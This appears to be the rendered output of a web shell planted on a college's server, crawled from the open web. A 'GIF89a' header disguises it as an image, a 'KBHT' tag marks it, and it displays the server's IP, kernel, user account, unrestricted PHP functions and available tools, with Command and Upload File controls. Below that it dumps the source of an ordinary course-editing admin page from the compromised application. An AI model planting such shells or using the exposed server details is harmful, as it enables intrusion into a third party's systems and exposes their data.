GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.145.18.135
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../web/../cas/application/views/admin/academics/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../web/../cas/application/views/admin/academics/../editCourse.php
<!DOCTYPE HTML>
<html>
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <title>Editing <?php echo stripslashes($courseInfo->course_name); ?> Course | College Automation System | <?php echo $this->session->userdata("adminData")["branch_short_name"]; ?></title>
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/style.css"); ?>">
        <link rel="image icon" href="<?php echo base_url("assets/admin/images/logo.png"); ?>">
        <!-- google fonts -->
        <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Nunito:300,400,600,700,800,900&amp;display=swap">
        <script src="<?php echo base_url("assets/admin/js/jquery-1.10.2.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/bootstrap.min.js"); ?>"></script>
        <script>
            var csrfHash = '';
        </script>
    </head>
    <body>
        <div class="se-pre-con"></div>
        <section>
            <?php $this->load->view("admin/navAndHeader"); ?>
            <div class="main-content">
                <div class="container-fluid content-top-gap">
                    <nav aria-label="breadcrumb">
                        <ol class="breadcrumb my-breadcrumb">
                            <li class="breadcrumb-item"><a href="<?php echo site_url("admin/Dashboard"); ?>">Home</a></li>
                            <li class="breadcrumb-item" aria-current="page"><a href="<?php echo site_url("admin/Course/"); ?>">Course Management</a></li>
                            <li class="breadcrumb-item active" aria-current="page"><a href="<?php echo site_url("admin/Course/editCourse/" . $courseInfo->course_id); ?>">Edit Course</a></li>
                        </ol>
                    </nav>
                    <section class="forms">
                        <div class="card card_border py-2 mb-4">
                            <div class="cards__heading">
                                <h3><i class="fa fa-edit"></i> Edit Course => <b><?php echo stripslashes($courseInfo->course_name); ?></b> <span></span></h3>
                            </div>
                            <div class="card-body">
                                <?php if (validation_errors() != false) { ?>
                                    <div class="alert alert-danger"> <strong><?php echo validation_errors(); ?></strong> </div>
                                <?php } ?>
                                <?php if ($this->session->flashdata('successMessage')) { ?>
                                    <div class="alert alert-success"> <strong><?php echo $this->session->flashdata('successMessage'); ?> </strong> </div>
                                <?php } ?>
                                <?php if ($this->session->flashdata('errorMessage')) { ?>
                                    <div class="alert alert-danger"> <strong><?php echo $this->session->flashdata('errorMessage'); ?></strong> </div>
                                <?php } ?>
                                <?php echo form_open(site_url('admin/Course/updateCourse'), ['name' => 'courseUpdateFrm', 'id' => 'courseUpdateFrm']); ?>
                                <fieldset>
                                    <legend>Course Info</legend>
                                    <div class="form-row">
                                        <div class="form-group col-md-6">
                                            <label for="courseAlias" class="input__label">Course Alias *</label>
                                            <input type="text" class="form-control input-style" id="courseAlias" name="courseAlias" value="<?php echo stripslashes($courseInfo->course_name); ?>" placeholder="Enter Course Alias" maxlength="20">
                                        </div>
                                        <div class="form-group col-md-6">
                                            <label for="courseName" class="input__label">Full Name *</label>
                                            <input type="text" class="form-control input-style" id="courseName" name="courseName" value="<?php echo stripslashes($courseInfo->course_full_name); ?>" placeholder="Enter Course Name" maxlength="100">
                                        </div>
                                    </div>
                                    <div class="form-row">
                                        <div class="form-group col-md-6">
                                            <label class="input__label">Is LE Allowed? *</label>
                                            <input type="radio" id="leAllowedYes" name="courseLEAllowed" value="T" <?php echo ($isLatAllowed) ? "checked" : "" ?>>&nbsp;<label for="leAllowedYes">Yes</label>
                                            <input type="radio" id="leAllowedNo" name="courseLEAllowed" value="F" <?php echo ($isLatAllowed) ? "" : "checked" ?>>&nbsp;<label for="leAllowedNo">No</label>
                                        </div>
                                        <div class="form-group col-md-6">
                                            <label class="input__label">Time Mgmt. *</label>
                                            <input type="radio" id="timeMgmtYear" name="courseTimeMgmt" value="Y" onClick="calculateYearSemTrims('Y');" <?php echo ($courseInfo->course_time_mgmt_flag == "Y") ? "checked" : ""; ?> >&nbsp;<label for="timeMgmtYear">Yearly</label>
                                            <input type="radio" id="timeMgmtSemester" name="courseTimeMgmt" value="S" onClick="calculateYearSemTrims('S');" <?php echo ($courseInfo->course_time_mgmt_flag == "S") ? "checked" : ""; ?>>&nbsp;<label for="timeMgmtSemester">Semester Wise</label>
                                            <input type="radio" id="timeMgmtTrimester" name="courseTimeMgmt" value="T" onClick="calculateYearSemTrims('T');" <?php echo ($courseInfo->course_time_mgmt_flag == "T") ? "checked" : ""; ?>>&nbsp;<label for="timeMgmtTrimester">Trimester Wise</label>
                                        </div>
                                    </div>
                                    <div class="form-row">
                                        <div class="form-group col-md-3">
                                            <label for="courseDuration" class="input__label">Duration *</label>
                                            <input type="text" class="form-control input-style" id="courseDuration" name="courseDuration" onkeypress="return event.charCode >= 48 && event.charCode <= 57" value="<?php echo $courseInfo->course_duration; ?>" placeholder="Enter Course Duration (In Years)" maxlength="2">
                                        </div>
                                        <div class="form-group col-md-3">
                                            <label for="courseSemTrims" class="input__label">No. Of Sems./Trims. *</label>
                                            <input type="text" class="form-control input-style" id="courseSemTrims" name="courseSemTrims" onkeypress="return event.charCode >= 48 && event.charCode <= 57" value="<?php echo $courseInfo->course_no_of_sems; ?>" placeholder="Enter No. Of Semesters/Trimesters" readonly="readonly" maxlength="2">
                                        </div>
                                        <div class="form-group col-md-3">
                                            <label for="courseCategory" class="input__label">Category *</label>
                                            <select id="courseCategory" name="courseCategory" class="form-control input-style">
                                                <option value="" <?php echo ($courseInfo->course_category == "") ? "selected" : ""; ?>>Select Category</option>
                                                <option value="UG" <?php echo ($courseInfo->course_category == "UG") ? "selected" : ""; ?>>UG</option>
                                                <option value="PG" <?php echo ($courseInfo->course_category == "PG") ? "selected" : ""; ?>>PG</option>
                                                <option value="Diploma" <?php echo ($courseInfo->course_category == "Diploma") ? "selected" : ""; ?>>Diploma</option>
                                                <option value="Certificate" <?php echo ($courseInfo->course_category == "Certificate") ? "selected" : ""; ?>>Certificate</option>
                                            </select>
                                        </div>
                                        <div class="form-group col-md-3">
                                            <label for="courseRecognitionBody" class="input__label">Recognition Body *</label>
                                            <select id="courseRecognitionBody" name="courseRecognitionBody" class="form-control input-style">
                                                <option value="" <?php echo ($courseInfo->course_approval_flag == "") ? "selected" : ""; ?>>Select Recognition Body</option>
                                                <option value="A" <?php echo ($courseInfo->course_approval_flag == "A") ? "selected" : ""; ?>>University Affiliated</option>
                                                <option value="R" <?php echo ($courseInfo->course_approval_flag == "R") ? "selected" : ""; ?>>Approval By Any Governing Body Like UGC, AICTE Etc.</option>
                                            </select>
                                        </div>
                                    </div>
                                    <div class="form-row">
                                        <div class="form-group col-md-4">
                                            <label for="courseTimeType" class="input__label">Time Type *</label>
                                            <select id="courseTimeType" name="courseTimeType" class="form-control input-style">
                                                <option value="Full-Time" <?php echo ($courseInfo->course_time_type == "Full-Time") ? "selected" : ""; ?>>Full-Time</option>
                                            </select>
                                        </div>
                                        <div class="form-group col-md-4">
                                            <label for="courseDept" class="input__label">Department *</label>
                                            <select id="courseDept" name="courseDept" class="form-control input-style">
                                                <option value="">Select Department</option>
                                                <?php
                                                foreach ($departments as $department) {
                                                    $selected = ($department->dept_id == $courseInfo->dept_id) ? "selected" : "";
                                                    ?>
                                                    <option value="<?php echo $department->dept_id; ?>" <?php echo $selected; ?>><?php echo $department->dept_name; ?></option>
                                                    <?php
                                                }
                                                ?>
                                            </select>
                                        </div>
                                        <div class="form-group col-md-4">
                                            <label for="courseSubDept" class="input__label">Sub-Department *</label>
                                            <select id="courseSubDept" name="courseSubDept" class="form-control input-style">
                                                <option value="">Select Sub-Department</option>
                                            </select>
                                        </div>
                                    </div>
                                </fieldset>
                                <input type="hidden" name="courseId" value="<?php echo $courseInfo->course_id; ?>">
                                <input type="hidden" name="subCourseRegId" value="<?php echo $subCourseRegId; ?>">
                                <input type="hidden" name="subCourseLatId" value="<?php echo $subCourseLatId; ?>">
                                <button type="submit" class="btn btn-primary btn-block btn-style mt-4">Save Changes</button>
                                <?php echo form_close(); ?>
                            </div>
                        </div>
                    </section>
                </div>
            </div>
        </section>
        <script>
            $("#courseDept").on("change", function () {
                $(".se-pre-con").fadeIn("slow");
                if (csrfHash === '') {
                    csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                }
                if ($(this).val().trim() != "") {
                    $.ajax({
                        url: '<?php echo site_url('admin/SubDepartment/getNonDeletedActiveSubDepartmentsForDropDown/') ?>',
                        data: {dept_id: $(this).val(), csrf_token: csrfHash},
                        type: 'POST',
                        success: function (result) {
                            var subDeptInfo = JSON.parse(result);
                            $(".se-pre-con").fadeOut("slow");
                            $("#courseSubDept").html(subDeptInfo.sub_dept_list);
                            csrfHash = subDeptInfo.csrfHash;
                            courseUpdateFrm.csrf_token.value = csrfHash;
                        }
                    });
                }
            });

            $(document).ready(function () {
                if ($("#courseDept").val() != "") {
                    $(".se-pre-con").fadeIn("slow");
                    if (csrfHash === '') {
                        csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                    }
                    $.ajax({
                        url: '<?php echo site_url('admin/SubDepartment/getNonDeletedActiveSubDepartmentsForDropDownSelected/') ?>',
                        data: {dept_id: <?php echo $courseInfo->dept_id; ?>, sub_dept_id: <?php echo $courseInfo->sub_dept_id; ?>, csrf_token: csrfHash},
                        type: 'POST',
                        success: function (result) {
                            var subDeptInfo = JSON.parse(result);
                            $(".se-pre-con").fadeOut("slow");
                            $("#courseSubDept").html(subDeptInfo.sub_dept_list);
                            csrfHash = subDeptInfo.csrfHash;
                            courseUpdateFrm.csrf_token.value = csrfHash;
                        }
                    });
                }
            });

            $("#courseDuration").on("blur", function () {
                if ($(this).val() != "" && !isNaN($(this).val())) {
                    if (courseUpdateFrm.courseTimeMgmt[0].checked) {
                        $("#courseSemTrims").val(($(this).val()) * 1);
                    } else if (courseUpdateFrm.courseTimeMgmt[1].checked) {
                        $("#courseSemTrims").val(($(this).val()) * 2);
                    } else {
                        $("#courseSemTrims").val(($(this).val()) * 3);
                    }
                } else {
                    $("#courseSemTrims").val(0);
                }
            });

            function calculateYearSemTrims(timeMgmnt) {
                var duration = $("#courseDuration").val();
                if (duration != "" && !isNaN(duration)) {
                    if (timeMgmnt == 'Y') {
                        $("#courseSemTrims").val(duration * 1);
                    } else if (timeMgmnt == 'S') {
                        $("#courseSemTrims").val(duration * 2);
                    } else {
                        $("#courseSemTrims").val(duration * 3);
                    }
                } else {
                    $("#courseSemTrims").val(0);
                }

            }
        </script>
        <?php $this->load->view("admin/footer"); ?>
    </body>
</html>

KBHT - 2023